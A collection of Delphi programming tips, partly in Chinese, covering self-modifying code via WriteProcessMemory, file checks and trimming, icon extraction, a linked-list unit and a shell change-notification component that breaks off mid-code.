WriteProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten);

Used for writing data to a process memory.

VirtualProtect(lpAddress,dwSize,flNewProtect,lpflOldProtect);

Used to change the access protection of a region in memory. To learn more about these functions, refer to the Win32 help file that ships with Delphi and take a look how they are used in the sample code.

What does the example code do?

The code that will be modified is inside the CallModifiedCode procedure:

procedure TForm1.CallModifiedCode(Sender: TObject);

var

b:boolean;

c:TColor;

label 1;

begin

c := clgreen;

b := true;

if b then goto 1;

asm

nop

nop

nop

nop

nop

nop

end;

c := clred;

1:

form1.Color := c;

end;

After studying the code you might be puzzled about some things. Obviously, this code sets the color of Form1, but as it is, the color will always be green, since b is always true, so it will always jump to label 1 and c:=clred before never gets called.

However, there is another function in the program that will change the line if b then goto 1; to if NOT(b) then goto 1; while the program is running, so after this modification in memory is done and this function is called again the form will actually be changed to red. Note that we will not change the boolean value of b, but virtually insert a "NOT" into the if statement.

Surely you noticed the six "nop"'s. "nop" is an assembler instruction and means "no operation", so these 6 lines do just nothing. 6 nop's in a row are quite unusual in a compiled exe, so we will use these nops as a marker for the position of the if statement above inside the compiled exe.

To understand how we will modify the code, we need to take a look at what the compiler will make from our pascal code. You can do this by running the project from Delphi, setting a breakpoint on the line with the if statement and (once you called the CallModifiedCode procedure by clicking the button and the debugger stopped the execution) opening the CPU window from Delphi's debug menu. You will see something like this:

807DFB00 cmp byte ptr [ebp-$05],$00

750D jnz TForm1.CallModifiedCode + $2A

90 nop

90 nop

90 nop

90 nop

90 nop

90 nop

Well, we can clearly see the 6 nops we placed in our code. The two lines above are the assembler code of the if statement. The first line compares a value (as we know from the pascal code this has to be the boolean value of b) with $00, the hexadecimal notation of 0, that in the case of a boolean variable means false.

The second line starts with jnz, what means "jump if not equal" (technically, "jump if not zero") and the address to jump to if the compared values from line one are not equal. So, the first two lines mean: "Compare the value of variable b with 0 (false) and if they are not equal jump away."

Note the hexadecimal values to the left of the asm code above. Each assembler instruction has a unique hexadecimal identifier. Obviously, $90 means "nop". $75 means "jnz", which is followed by the address (relative to the current address) to jump to ($0D in this case). $80 means "cmp" followed by some hexadecimal data specifying what and how it it compared. This hexadecimal representation of the assembler instructions is what makes the exe. If you have a hex editor, load the compiled exe and try to search for "909090909090". You will quickly find it and you will notice that the values before will be identical with the values above.

So, coming back to our task, if we want to insert "NOT" into our if statement, we will need to replace "jnz" with "jz". "jz" means "jump if zero" or "jump if equal". Replacing "jnz" with "jz" will reverse the condition in the original if statement, so once this modification is done the jump will not be done and the line c:=clRed; will be executed and the form will get red. As I said, "jnz" is represented by the hexadecimal value $75. The hexadecimal value for "jz" is $74.

Let's summarize what we have to do to change "if b then goto 1;" to "if NOT(b) then goto 1;": Locate $909090909090 in memory. From this position, go back two bytes and replace $75 with $74. If we want to go back to the original code, we do the same, but replace $74 with $75.

This is what is done in procedure TForm1.ModifyCode. I'll not go into further details here, but the source has lots of comments. You can download the sample code for this article by clicking here. After calling ModifyCode by clicking one of the two buttons on the right, click the "Execute code" button again and open the CPU view in Delphi to see that $75 was actually replaced with $74 or vice versa.

Epilog

There are easier ways to set the color of a form depending on which button was clicked ;-), but of course the purpose here is to demonstrate the concept of self-modifying code. Self-modifying code is a powerful technique and the example code might be very useful to implement a piracy protection scheme.

Finally, a small warning: You should take care when using a series of assembler nop's as a marker in real world applications, as these kind of unused code sections can be a nest for some viruses, e.g. the

W95/CIH1003 virus.


检查文件是否为文本文件
Function isAscii(NomeFile: String): Boolean;

const

Sett=2048;

var

i: Integer;

F: file;

a: Boolean;

TotSize, IncSize, ReadSize: Integer;

c: Array[0..Sett] of byte;

begin

If FileExists(NomeFile) then

begin

{$I-}

AssignFile(F, NomeFile);

Reset(F, 1);

TotSize:=FileSize(F);

IncSize:=0;

a:=true;

while (IncSize<TotSize) and (a=true) do

begin

ReadSize:=Sett;

If IncSize+ReadSize>TotSize then ReadSize:=TotSize-IncSize;

IncSize:=IncSize+ReadSize;

BlockRead(F, c, ReadSize);

For i := 0 to ReadSize-1 do // Iterate

If (c[i]<32) and (not (c[i] in [9, 10, 13, 26])) then a:=False;

end; // while

CloseFile(F);

{$I+}

If IOResult<>0 then Result:=False

else Result:=a;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

if OpenDialog1.Execute then

begin

if isAscii(OpenDialog1.FileName) then

begin

ShowMessage('ASCII File');

end;

end;

end;


删除文件的一段
procedure DStreamData(FileName:String; StartPos,EndPos: Integer);

//StartPos: 从此开始“删除”信息，EndPos: 到此结束“删除”信息

//如果输入文件名与输出文件名相同，就等于把源文件的StartPos与EndPos之间的内容删除

var

Ori: TFileStream;

Tmp: TMemoryStream;

begin

try

Ori := TFileStream.Create(FileName, fmOpenRead);

Tmp := TMemoryStream.Create;

Tmp.CopyFrom(Ori, StartPos);

//Tmp从Ori拷贝数据，但在StartPos与EndPos之间不拷，因此形同删除了一段数据

Ori.Seek(EndPos,soFromBeginning);

Tmp.CopyFrom(Ori, Ori.Size-EndPos);

Tmp.SaveToFile(FileName); //在此设置输出文件名

finally

FreeAndNil(Ori);

FreeAndNil(Tmp);

end;

end;


取得一个文件相关应用程序的图标
如何取得一个文件相关应用程序的图标

很多文档都与某个应用程序相关，如.txt与NotePad相关联，如何取得与某个文件相关联

的应用程序的图标呢?

uses shellapi;

var

IconIndex : word;

h : hIcon;

begin

IconIndex := 0;

h := ExtractAssociatedIcon(hInstance,

PChar(filename),

IconINdex);

//将图标显示出来DrawIcon(image1.Canvas.Handle,0,0,h);

end;


文件名是否有效
function IsValidFileName(const FileName: string): boolean;

const

InValidChar: array[0..8] of char = ('\', '/', ':', '*', '?', '"', '<', '>', '|');

var

i: integer;

begin

result:=length(FileName) <= MAX_PATH;

if not Result then exit;

for i := low(InValidChar) to high(InValidChar) do

begin

result := pos(InValidChar[i], FileName) = 0;

if not Result then break;

end;

end;


自定义文件数据结构的一个支持单元
如果用DELPHI中的数据库控件的话，在以后的软件发布中将带有大量的库文件，才能使用，这将增大发布软件的容量大小，我想自己用如：filecreate,read,write,..等函数来自编一个DAT文件，对其进行操作，在对dat文件的操作过程中，读和写都很容易，我想在此问各位高手，-----如何对dat文件进行数据修改和删除里面的记录数据呢？？

你可以到http://www.21jx.com/~tinydb/gb/下在一个TinyDB.以下是其网页上的介绍:

TinyDB 是什么？

TinyDB是提供给Delphi和BCB程序员的一组Delphi组件，目前包含 TTinyTable 和 TTinyDB。

·完全兼容Delphi和BCB中所有的Data Controls

·无须BDE的支持，无须附带任何DLL或OCX，开发绿色软件的最佳选择

·支持对BLOB型字段数据的压缩，并提供多种不同压缩方案

·优良的加密性能，预置三种先进的加密算法对数据库进行加密

·提供数据处理扩展接口，可挂接任意压缩和加密或者自定义算法

·加密和压缩均对用户透明，存取数据库时自动进行

·单一文件型数据库，无论数据库多复杂，只有一个文件

·完全支持基本的数据库结构定义

·接口和Delphi(BCB)中的数据库相关组件保持一致，易于使用

·提供配套工具 TinyDB Desktop 以及详细开发帮助文档和例程

  TinyDB 能做什么？　　当我们用Delphi或BCB做一个软件的时候，如果要将大量数据保存到硬盘上，通常采用的方法无外乎两种：第一种是使用Borland Database Engine(BDE)；第二种是自己制定一个文件格式，用读写文件的方法把数据保存到文件中。

    对于第一种方法，没什么可说的，这大概是最常用也是最权威的方法。但它有个缺陷：必须附带并安装BDE的支持包。这对于开发一个力求精致小巧、绿色实用的软件来说，似乎并不是最好的方案。

    而第二种方法，虽然无须BDE的支持，但文件格式的拟定、维护往往让人累不堪言。当软件的功能增加，文件格式需要做相应调整的时候，为了保持兼容性而付出的代价往往是相当巨大的。而且稍有不慎，便会给用户数据带来损失。

    TinyDB所要做的事情，便是在不需要BDE支持的前提下，给软件提供一个稳定的数据库系统，把逻辑格式和物理格式分开，并提供高效的压缩和加密功能，让软件开发者能方便而且快速地建立绿色、实用、稳定、安全的数据库程序。

  关于TinyDB

软件名称：TinyDB

目前版本：2.0

软件性质：免费软件

开发平台：Windows9x/NT/2000

语言支持：Delphi, C++Builder 5.0 或更高版本

********************

MSHawk(憨憨)　(2001-4-26 16:27:00) 得0分

老兄，我这儿有个东西可能能满足你的要求。

unit SingleLinkList;//单链表单元文件

interface

type

int = integer;

TSDLinkListRec = class//单链表数据类。

public

Next: TSDLinkListRec;

constructor Create;

end;

TSDLinkListMGR = class//单链表管理类。

private

FCount: integer;

public

Head: TSDLinkListRec;

constructor Create;

destructor Destroy;override;

function IndexOf(Index: integer): TSDLinkListRec;

function GetIndex(SL: TSDLinkListRec): int;

procedure Clear;virtual;

procedure Append(SL: TSDLinkListRec);virtual;

procedure Insert(Index, SL: TSDLinkListRec);virtual;

procedure Delete(SL: TSDLinkListRec);virtual;

procedure MovePrev(SL: TSDLinkListRec);

procedure MoveNext(SL: TSDLinkListRec);

property Count: int read FCount;

end;

implementation

constructor TSDLinkListRec.Create;

begin

inherited;

Next := nil;

end;

constructor TSDLinkListMGR.Create;

begin

inherited;

Clear;

end;

destructor TSDLinkListMGR.Destroy;

begin

Clear;

inherited;

end;

function TSDLinkListMGR.IndexOf(Index: integer): TSDLinkListRec;

var

T: TSDLinkListRec;

i: integer;

begin

i := 1;

Result := nil;

T := Head;

while T <> nil do

begin

if i = Index then

begin

Result := T;

Break;

end;

T := T.Next;

Inc(i);

end;

end;

function TSDLinkListMGR.GetIndex(SL: TSDLinkListRec): int;

var

P: TSDLinkListRec;

begin

Result := 0;

P := Head;

while P <> nil do

begin

Inc(Result);

if P = SL then

Exit;

P := P.Next;

end;

Result := 0;

end;

procedure TSDLinkListMGR.Clear;

var

T: TSDLinkListRec;

begin

T := Head;

while T <> nil do

begin

Head := T.Next;

T.Destroy;

T := Head;

end;

Head := nil;

FCount := 0;

end;

procedure TSDLinkListMGR.Append(SL: TSDLinkListRec);

var

T: TSDLinkListRec;

C: integer;

begin

T := SL;

C := 0;

while T <> nil do

begin

inc(C);

T := T.Next;

end;

if C = 0 then

Exit;

if Head = nil then

Head := SL

else

begin

T := Head;

while T.Next <> nil do

T := T.Next;

T.Next := SL;

end;

inc(FCount, C);

end;

procedure TSDLinkListMGR.Insert(Index, SL: TSDLinkListRec);

var

T, T1, T2: TSDLinkListRec;

C: integer;

begin

C := 0;

T := SL;

while T <> nil do

begin

inc(C);

T := T.Next;

end;

if C = 0 then

Exit;

if Head = nil then

Head := SL

else

begin

T := Head;

while T <> nil do

begin

if T = Index then

begin

T1 := T;

T.Next := SL;

T2 := SL;

while T2.Next <> nil do

T2 := T2.Next;

T2.Next := T1;

Break;

end;

T := T.Next;

end;

end;

inc(FCount, C);

end;

procedure TSDLinkListMGR.Delete(SL: TSDLinkListRec);

var

T: TSDLinkListRec;

begin

if SL = nil then

Exit;

if Head = SL then

begin

Head := SL.Next;

SL.Destroy;

end

else

begin

T := Head;

while T <> nil do

begin

if T.Next = SL then

begin

T.Next := SL.Next;

SL.Destroy;

Break;

end;

T := T.Next;

end;

end;

dec(FCount);

end;

procedure TSDLinkListMGR.MovePrev(SL: TSDLinkListRec);

var

P, C: TSDLinkListRec;

begin

if (SL = nil) or (SL = Head) then

Exit;

if Head.Next = SL then

begin

C := SL.Next;

SL.Next := Head;

Head.Next := C;

Head := SL;

end;

P := Head;

C := P.Next;

while (C.Next <> SL) and (C.Next <> nil) do

begin

P := C;

C := C.Next;

end;

if C.Next = nil then

Exit;

P.Next := SL;

C.Next := SL.Next;

SL.Next := C;

end;

procedure TSDLinkListMGR.MoveNext(SL: TSDLinkListRec);

var

P, C: TSDLinkListRec;

begin

if SL = nil then

Exit;

if Head = nil then

Exit;

P := Head;

C := P.Next;

while C <> SL do

begin

P := C;

C := C.Next;

end;

if C.Next = nil then

Exit;

C := SL.Next;

P.Next := C;

SL.Next := C.Next;

C.Next := SL;

end;

end.

以上是一个单链表的完整实现。包括两个类：之一是单链表中的存储数据的类。之二是对此单链表进行管理的类。在管理类中实现了一下操作：

1、APPEND操作：向链表中添加节点。

2、INSERT操作：向链表中插入节点。（插入的节点在INDEX节点后面。）

（注意：以上操作支持多节点。）

3、DELETE操作：删除链表中的一个节点。

4、MOVEPREV操作：将一个节点移动到其前一个节点前。

5、MOVENEXT操作：将一个节点移动到其后一个节点后。

6、INDEX操作：通过索引方式查找节点。

对此两个类的使用方法如下：

TUserRec = class(TSDLinkListRec)

private

FStatus: TUserStatus;//当前用户状态。

FUserID: Word;//用户ID。

FSpeakHandle: THandle;

procedure SetUserStatus(Value: TUserStatus);

procedure GeneralUserID;//产生用户ID。

procedure GeneralComEnCode;//产生用户加密密码。

public

UserName: TShortString;//用户名称。

FullName: TShortString;//用户全名。

PassWord: TShortString;//用户密码。

UserLevel: Word;//用户等级。数值越低，则权限越低。数值越高，则权限越高。

LoginSource: TLoginSource;//登录源。

LoginComputerUNC: string;//登录源计算机的UNC名。（统一命名规则。）

LoginTime, LogOffTime, ElapsedTime: string[16];//登录时间、取消登录时间以及登录持续时间。

ListenComCount, SpeakComCount: Word;//对话计数器。

ComEnCode: array [0..LenCode - 1] of Byte;//用户加密密码。

TimeOut, TimeNoLink: int;//客户未连接时间。当此时间减小到零时，将断开客户连接。以秒为单位。

property Status: TUserStatus read FStatus write SetUserStatus;

property UserID: Word read FUserID;

property SpeakHandle: THandle read FSpeakHandle write FSpeakHandle;

constructor Create;

destructor Destroy;override;

procedure ReadFromFile(var F: Text);

procedure WriteToFile(var F: Text);

end;

TUserMGR = class(TSDLinkListMGR)

DefaultUser: TUserRec;

Modifyed: Bool;

function FindUserByName(UserName, PassWord: TShortString): TUserRec;

function FindUserByDoMain(DoMain: string): TUserRec;

function FindUserByLoginSource(S: string): TUserRec;

function FindUserByID(ID: DWord): TUserRec;

procedure ReadFromFile(FileName: string);

procedure WriteToFile(FileName: string);

constructor Create;

destructor Destroy;override;

end;

以上的TUserRec类是关于用户的数据类，而TUserMGR类是对此用户链表的管理类。

在加入用户时，可以这样做：

var

User: TUserRec;

begin

User := TUserRec.Create;

User.UserName := '*****';

User.FullName := '*****';

......

Users.Append(User);

end;

在删除用户时，可以这样做：

var

User: TUserRec;

begin

User := TUserRec(Users.IndexOf(*));

Users.Delete(User);

end;

在遍历用户时，可以这样做：

var

User: TUserRec;

begin

User := TUserRec(Users.Head);

while User <> nil do

begin

......

User := TUserRec(User.Next);

end;

end;


关于类似UltraEdit的文件改变监视
只要在程序Active（从其它的程序切换到本程序的时候，判断一下文件的时间或者大小即可！）

*****************

这个还需要修改一些事件和属性

还可以动态增加监视的驱动器

似乎不可以用多个构件来监视不同的地方，不过我发现原来这样是可以的

SHILCreatefromPath( PChar('c:), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

SHILCreatefromPath( PChar('d:), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

----------------------------------------------------------------

不过，这个监视无法实现文件大小变化的处理，因为 ShellNotifyRegister 根本没有这样的参数可以使用。 我也不知道怎么办，你有办法吗？

{$IFNDEF VER80} {$IFNDEF VER90} {$IFNDEF VER93}

{$DEFINE Delphi3orHigher}

{$ENDIF} {$ENDIF} {$ENDIF}

unit ShellNotifyCom;

interface

uses Windows, Messages, SysUtils, Classes, Controls, Forms, Dialogs,

{$IFNDEF Delphi3orHigher} OLE2, {$ELSE} ActiveX, ComObj, {$ENDIF}

ShlObj,Graphics;

type

NOTIFYREGISTER = record

pidlPath : PItemIDList;

bWatchSubtree : boolean;

end;

PNOTIFYREGISTER = ^NOTIFYREGISTER;

const

SNM_SHELLNOTIFICATION = WM_USER +1;

SHCNF_ACCEPT_INTERRUPTS = $0001;

SHCNF_ACCEPT_NON_INTERRUPTS = $0002;

SHCNF_NO_PROXY = $8000;

type

TNotificationEvent = (neAssociationChange, neAttributesChange,

neFileChange, neFileCreate, neFileDelete, neFileRename,

neDriveAdd, neDriveRemove, neShellDriveAdd, neDriveSpaceChange,

neMediaInsert, neMediaRemove, neFolderCreate, neFolderDelete,

neFolderRename, neFolderUpdate, neNetShare, neNetUnShare,

neServerDisconnect, neImageListChange);

TNotificationEvents = set of TNotificationEvent;

TShellNotificationEvent1 = procedure(Sender: TObject;

Path: String)of Object;

TShellNotificationEvent2 = procedure(Sender: TObject;

path1, path2: String) of Object;

// TShellNotificationAttributesEvent = procedure(Sender: TObject;

// OldAttribs, NewAttribs: Integer) of Object;

TShellNotification = class( TComponent )

private

fWatchEvents: TNotificationEvents;

fPath: String;

fActive, fWatch: Boolean;

prevPath1, prevPath2: String;

PrevEvent: Integer;

Handle, NotifyHandle: HWND;

fOnAssociationChange: TNotifyEvent;

fOnAttribChange: TShellNotificationEvent2;

FOnCreate: TShellNotificationEvent1;

FOnDelete: TShellNotificationEvent1;

FOnDriveAdd: TShellNotificationEvent1;

FOnDriveAddGui: TShellNotificationEvent1;

FOnDriveRemove: TShellNotificationEvent1;

FOnMediaInsert: TShellNotificationEvent1;

FOnMediaRemove: TShellNotificationEvent1;

FOnDirCreate: TShellNotificationEvent1;

FOnNetShare: TShellNotificationEvent1;

FOnNetUnShare: TShellNotificationEvent1;

FOnRenameFolder: TShellNotificationEvent2;

FOnItemRename: TShellNotificationEvent2;

FOnFolderRemove: TShellNotificationEvent1;

FOnServerDisconnect: TShellNotificationEvent1;

FOnFolderUpdate: TShellNotificationEvent1;

function PathFromPidl(Pidl: PItemIDList): String;

procedure SetWatchEvents(const Value: TNotificationEvents);

function GetActive: Boolean;

procedure SetActive(const Value: Boolean);

procedure SetPath(const Value: String);

procedure SetWatch(const Value: Boolean);

protected

procedure ShellNotifyRegister;

procedure ShellNotifyUnregister;

procedure WndProc(var Message: TMessage);

procedure DoAssociationChange; dynamic;

procedure DoAttributesChange(Path1, Path2: String); dynamic;

procedure DoCreateFile(Path: String); dynamic;

procedure DoDeleteFile(Path: String); dynamic;

procedure DoDriveAdd(Path:String); dynamic;

procedure DoDriveAddGui(Path: String); dynamic;

procedure DoDriveRemove(Path: String); dynamic;

procedure DoMediaInsert(Path: String); dynamic;

procedure DoMediaRemove(Path: String); dynamic;

procedure DoDirCreate(Path: String); dynamic;

procedure DoNetShare(Path: String); dynamic;

procedure DoNetUnShare(Path: String); dynamic;

procedure DoRenameFolder(Path1, Path2: String); dynamic;

procedure DoRenameItem(Path1, Path2: String); dynamic;

procedure DoFolderRemove(Path: String); dynamic;

procedure DoServerDisconnect(Path: String); dynamic;

procedure DoDirUpdate(Path: String); dynamic;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

published

property Path: String read fPath write SetPath;

property Active: Boolean read GetActive write SetActive;

property WatchSubTree: Boolean read fWatch write SetWatch;

property WatchEvents: TNotificationEvents

read fWatchEvents write SetWatchEvents;

property OnAssociationChange: TNotifyEvent

read fOnAssociationChange write FOnAssociationChange;

property OnAttributesChange: TShellNotificationEvent2

read fOnAttribChange write fOnAttribChange;

property OnFileCreate: TShellNotificationEvent1

read FOnCreate write FOnCreate;

property OnFolderRename: TShellNotificationEvent2

read FOnRenameFolder write FOnRenameFolder;

property OnFolderUpdate: TShellNotificationEvent1

read FOnFolderUpdate write FOnFolderUpdate;

property OnFileDelete: TShellNotificationEvent1

read FOnDelete write FOnDelete;

property OnDriveAdd: TShellNotificationEvent1

read FOnDriveAdd write FOnDriveAdd;

property OnFolderRemove: TShellNotificationEvent1

read FOnFolderRemove write FOnFolderRemove;

property OnItemRename: TShellNotificationEvent2

read FOnItemRename write FOnItemRename;

property OnDriveAddGui: TShellNotificationEvent1

read FOnDriveAddGui write FOnDriveAddGui;

property OnDriveRemove: TShellNotificationEvent1

read FOnDriveRemove write FOnDriveRemove;

property OnMediaInserted: TShellNotificationEvent1

read FOnMediaInsert write FOnMediaInsert;

property OnMediaRemove: TShellNotificationEvent1

read FOnMediaRemove write FOnMediaRemove;

property OnDirCreate: TShellNotificationEvent1

read FOnDirCreate write FOnDirCreate;

property OnNetShare: TShellNotificationEvent1

read FOnNetShare write FOnNetShare;

property OnNetUnShare: TShellNotificationEvent1

read FOnNetUnShare write FOnNetUnShare;

property OnServerDisconnect: TShellNotificationEvent1

read FOnServerDisconnect write FOnServerDisconnect;

end;

function SHChangeNotifyRegister( hWnd: HWND; dwFlags: integer;

wEventMask : cardinal; uMsg: UINT; cItems : integer;

lpItems : PNOTIFYREGISTER) : HWND; stdcall;

function SHChangeNotifyDeregister(hWnd: HWND) : boolean; stdcall;

function SHILCreateFromPath(Path: Pointer; PIDL: PItemIDList;

var Attributes: ULONG):HResult; stdcall;

procedure Register;

implementation

const Shell32DLL = 'shell32.dll';

function SHChangeNotifyRegister; external Shell32DLL index 2;

function SHChangeNotifyDeregister; external Shell32DLL index 4;

function SHILCreateFromPath; external Shell32DLL index 28;

{ TShellNotification }

constructor TShellNotification.Create(AOwner: TComponent);

begin

inherited Create( AOwner );

if not (csDesigning in ComponentState) then

Handle := AllocateHWnd(WndProc);

end;

destructor TShellNotification.Destroy;

begin

if not (csDesigning in ComponentState) then

Active := False;

if Handle <> 0 then DeallocateHWnd( Handle );

inherited Destroy;

end;

procedure TShellNotification.DoAssociationChange;

begin

if Assigned( fOnAssociationChange ) and (neAssociationChange in fWatchEvents) then

fOnAssociationChange( Self );

end;

procedure TShellNotification.DoAttributesChange;

begin

if Assigned( fOnAttribChange ) then

fOnAttribChange( Self, Path1, Path2 );

end;

procedure TShellNotification.DoCreateFile(Path: String);

begin

if Assigned( fOnCreate ) then

FOnCreate(Self, Path)

end;

procedure TShellNotification.DoDeleteFile(Path: String);

begin

if Assigned( FOnDelete ) then

FOnDelete(Self, Path);

end;

procedure TShellNotification.DoDirCreate(Path: String);

begin

if Assigned( FOnDirCreate ) then

FOnDirCreate( Self, Path );

end;

procedure TShellNotification.DoDirUpdate(Path: String);

begin

if Assigned( FOnFolderUpdate ) then

FOnFolderUpdate(Self, Path);

end;

procedure TShellNotification.DoDriveAdd(Path: String);

begin

if Assigned( FOnDriveAdd ) then

FOnDriveAdd(Self, Path);

end;

procedure TShellNotification.DoDriveAddGui(Path: String);

begin

if Assigned( FOnDriveAddGui ) then

FOnDriveAdd(Self, Path);

end;

procedure TShellNotification.DoDriveRemove(Path: String);

begin

if Assigned( FOnDriveRemove ) then

FOnDriveRemove(Self, Path);

end;

procedure TShellNotification.DoFolderRemove(Path: String);

begin

if Assigned(FOnFolderRemove) then

FOnFolderRemove( Self, Path );

end;

procedure TShellNotification.DoMediaInsert(Path: String);

begin

if Assigned( FOnMediaInsert ) then

FOnMediaInsert(Self, Path);

end;

procedure TShellNotification.DoMediaRemove(Path: String);

begin

if Assigned(FOnMediaRemove) then

FOnMediaRemove(Self, Path);

end;

procedure TShellNotification.DoNetShare(Path: String);

begin

if Assigned(FOnNetShare) then

FOnNetShare(Self, Path);

end;

procedure TShellNotification.DoNetUnShare(Path: String);

begin

if Assigned(FOnNetUnShare) then

FOnNetUnShare(Self, Path);

end;

procedure TShellNotification.DoRenameFolder(Path1, Path2: String);

begin

if Assigned( FOnRenameFolder ) then

FOnRenameFolder(Self, Path1, Path2);

end;

procedure TShellNotification.DoRenameItem(Path1, Path2: String);

begin

if Assigned( FOnItemRename ) then

FonItemRename(Self, Path1, Path2);

end;

procedure TShellNotification.DoServerDisconnect(Path: String);

begin

if Assigned( FOnServerDisconnect ) then

FOnServerDisconnect(Self, Path);

end;

function TShellNotification.GetActive: Boolean;

begin

Result := (NotifyHandle <> 0) and (fActive);

end;

function TShellNotification.PathFromPidl(Pidl: PItemIDList): String;

begin

SetLength(Result, Max_Path);

if not SHGetPathFromIDList(Pidl, PChar(Result)) then Result := '';

if pos(#0, Result) > 0 then

SetLength(Result, pos(#0, Result));

end;

procedure TShellNotification.SetActive(const Value: Boolean);

begin

if (Value <> fActive) then

begin

fActive := Value;

if fActive then ShellNotifyRegister else ShellNotifyUnregister;

end;

end;

procedure TShellNotification.SetPath(const Value: String);

begin

//if fPath <> Value then

//begin

fPath := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.SetWatch(const Value: Boolean);

begin

//if fWatch <> Value then

//begin

fWatch := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.SetWatchEvents(

const Value: TNotificationEvents);

begin

//if fWatchEvents <> Value then

//begin

fWatchEvents := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.ShellNotifyRegister;

var

NotifyRecord: PNOTIFYREGISTER;

Flags: DWORD;

Pidl: PItemIDList;

Attributes: ULONG;

begin

if not (csDesigning in ComponentState) and

not (csLoading in ComponentState) then

begin

SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

if NotifyHandle <> 0 then ShellNotifyUnregister;

Flags := 0;

if neAssociationChange in FWatchEvents then

Flags := Flags or SHCNE_ASSOCCHANGED;

if neAttributesChange in FWatchEvents then

Flags := Flags or SHCNE_ATTRIBUTES;

if neFileChange in FWatchEvents then

Flags := Flags or SHCNE_UPDATEITEM;

if neFileCreate in FWatchEvents then

Flags := Flags or SHCNE_CREATE;

if neFileDelete in FWatchEvents then

Flags := Flags or SHCNE_DELETE;

if neFileRename in FWatchEvents then

Flags := Flags or SHCNE_RENAMEITEM;

if neDriveAdd in FWatchEvents then

Flags := Flags or SHCNE_DRIVEADD;

if neDriveRemove in FWatchEvents then

Flags := Flags or SHCNE_DRIVEREMOVED;

if neShellDriveAdd in FWatchEvents then

Flags := Flags or SHCNE_DRIVEADDGUI;

if neDriveSpaceChange in FWatchEvents then

Flags := Flags or SHCNE_FREESPACE;

if neMediaInsert in FWatchEvents then

Flags := Flags or SHCNE_MEDIAINSERTED;

if neMediaRemove in FWatchEvents then

Flags := Flags or SHCNE_MEDIAREMOVED;

if neFolderCreate in FWatchEvents then

Flags := Flags or SHCNE_MKDIR;

if neFolderDelete in FWatchEvents then

Flags := Flags or SHCNE_RMDIR;

if neFolderRename in FWatchEvents then

Flags := Flags or SHCNE_RENAMEFOLDER;

if neFolderUpdate in FWatchEvents then

Flags := Flags or SHCNE_UPDATEDIR;

if neNetShare in FWatchEvents then

Flags := Flags or SHCNE_NETSHARE;

if neNetUnShare in FWatchEvents then

Flags := Flags or SHCNE_NETUNSHARE;

if neServerDisconnect in FWatchEvents then

Flags := Flags or SHCNE_SERVERDISCONNECT;

if neImageListChange in FWatchEvents then

Flags := Flags or SHCNE_UPDATEIMAGE;

NotifyHandle := SHChangeNotifyRegister(Handle,

SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,

Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);

end;

end;

procedure TShellNotification.ShellNotifyUnregister;

begin

if NotifyHandle <> 0 then

SHChangeNotifyDeregister(NotifyHandle);

end;

procedure TShellNotification.WndProc(var Message: TMessage);

type

TPIDLLIST = record

pidlist : array[1..2] of PITEMIDLIST;

end;

PIDARRAY = ^TPIDLLIST;

var

Path1 : string;

Path2 : string;

ptr : PIDARRAY;

repeated : boolean;

event : longint;

begin

case Message.Msg of

SNM_SHELLNOTIFICATION:

begin

event := Message.LParam and ($7FFFFFFF);

Ptr := PIDARRAY(Message.WParam);

Path1 := PathFromPidl( Ptr^.pidlist[1] );

Path2 := PathFromPidl( Ptr^.pidList[2] );

repeated := (PrevEvent = event)

and (uppercase(prevpath1) = uppercase(Path1))

and (uppercase(prevpath2) = uppercase(Path2));

if Repeated then exit;

PrevEvent := Message.Msg;

prevPath1 := Path1;

prevPath2 := Path2;

case event of

SHCNE_ASSOCCHANGED : DoAssociationChange;

SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);

SHCNE_CREATE : DoCreateFile(Path1);

SHCNE_DELETE : DoDeleteFile(Path1);

SHCNE_DRIVEADD : DoDriveAdd(Path1);

SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);

SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);

SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);

SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);

SHCNE_MKDIR : DoDirCreate(Path1);

SHCNE_NETSHARE : DoNetShare(Path1);

SHCNE_NETUNSHARE : DoNetUnShare(Path1);

SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);

SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);

SHCNE_RMDIR : DoFolderRemove(Path1);

SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);

SHCNE_UPDATEDIR : DoDirUpdate(Path);

SHCNE_UPDATEIMAGE : ;

SHCNE_UPDATEITEM : ;

end;//Case event of

end;//SNM_SHELLNOTIFICATION

end; //case

end;

procedure Register;

begin

RegisterComponents('System', [TShellNotification]);

end;

end.


一个文件被改变之后如何立即知道
问题：我想知道一个文件是否被改变，如何监视？一个方法是使用Timer不停监测，这样不精确并且来非CPU时间，那么有没有更好的方法呢？

来自Luke有：

TFileChangeNotificationStatus=(fnsIdle,fnsError,fnsRunning);

TFileChangeNotification=record

PathName:string;

WatchSubtree:boolean;

NotifyFilter:DWORD;

Status:TFileChangeNotificationStatus;

Changes:DWORD;

wndHandle:HWND;

NotificationMessage:DWORD;

end;

TFileChangesMultipleWatcher = class(TThread)

private

{ Private declarations }

FMutex:integer;

FObjectsArray:array[0..(WAITOBJECTSCOUNT-1)]of integer;

protected

procedure Execute; override;

public

Notification:TFileChangeNotification;

constructor Create(Suspended:boolean);

destructor Destroy; override;

procedure Init;

procedure Stop;

end;

constructor TFileChangesMultipleWatcher.Create;

var guid:TGUID;

begin

inherited;

coCreateGuid(guid);

FMutex:=CreateMutex(nil,False,PChar('TFCMW.'+GuidToString(guid)));

WaitForSingleObject(FMutex,INFINITE);

